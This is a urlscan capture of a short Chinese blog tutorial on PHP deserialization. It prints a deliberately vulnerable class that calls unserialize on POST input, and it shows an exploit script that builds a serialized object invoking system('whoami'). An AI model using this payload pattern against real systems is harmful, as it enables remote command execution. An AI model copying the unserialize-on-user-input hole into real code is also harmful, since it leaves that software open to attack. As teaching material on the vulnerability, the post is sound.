zy5uv-2aaaa-aaaad-qbniq-cai.icp0.io Open in urlscan Pro
2a0b:21c0:b002:2:5000:59ff:fead:c233  Public Scan

URL: https://zy5uv-2aaaa-aaaad-qbniq-cai.icp0.io/archives/f8e3d21b/index.html
Submission: On December 27 via api from US — Scanned from GB

Form analysis 0 forms found in the DOM

Text Content

小晨曦
 * 首页
 * 标签
 * 分类
 * 归档
 * 关于
 * 友情链接
   * 零组官网
   * 520
   * 迪迪
   * ian
 * 

小晨曦
小晨曦的博客
 * 首页
 * 标签
 * 分类
 * 归档
 * 关于
 * 友情链接
   * 零组官网
   * 520
   * 迪迪
   * ian


简单的PHP反序列化

PHP
技术分享
发布日期:   2019-10-16
更新日期:   2019-10-16
文章字数:   146
阅读时长:   1 分
阅读次数:   1556

--------------------------------------------------------------------------------


源代码

php

<?php

class test{
    public $xcx;
    public $miku;

    function __destruct(){
       $a = $this->xcx;
       $a($this->miku);
    }
}
unserialize($_POST['qq']);
?>


代码分析

代码上的 function __destruct是析构函数,会在 销毁一个类之前执行的一些操作或完成一些功能 。

因上面将xcx赋值给a,再将miku放进a执行,可以根据这个构造出命令执行的序列化


利用代码

php

<?php

class test{
    public $xcx = 'system';
    public $miku = 'whoami';

    function __destruct(){
       $a = $this->xcx;
       $a($this->miku);
    }

}
$b = new test();
echo serialize($b);
?>

将输出的值以POST形式传参,会返回whoami的结果

--------------------------------------------------------------------------------

PHP

微信扫一扫:分享



微信扫一扫即可分享!

为正常使用来必力评论功能请激活JavaScript。

 上一篇
74cms v4.2.3任意文件读取
2019-10-21 技术分享
CMS
下一篇 
XML外部实体注入(XXE)
2019-10-16 技术分享
XXE
  目录
 1. 源代码
 2. 代码分析
 3. 利用代码


看板娘
欢迎阅读「简单的PHP反序列化 | 小晨曦」

Copyright © 2019-2022 2019 小晨曦 | Powered by Hexo | Theme Matery
  站点总字数: 7.2k  |  总访问量:  2069  |  总访问人数:  1971




  搜索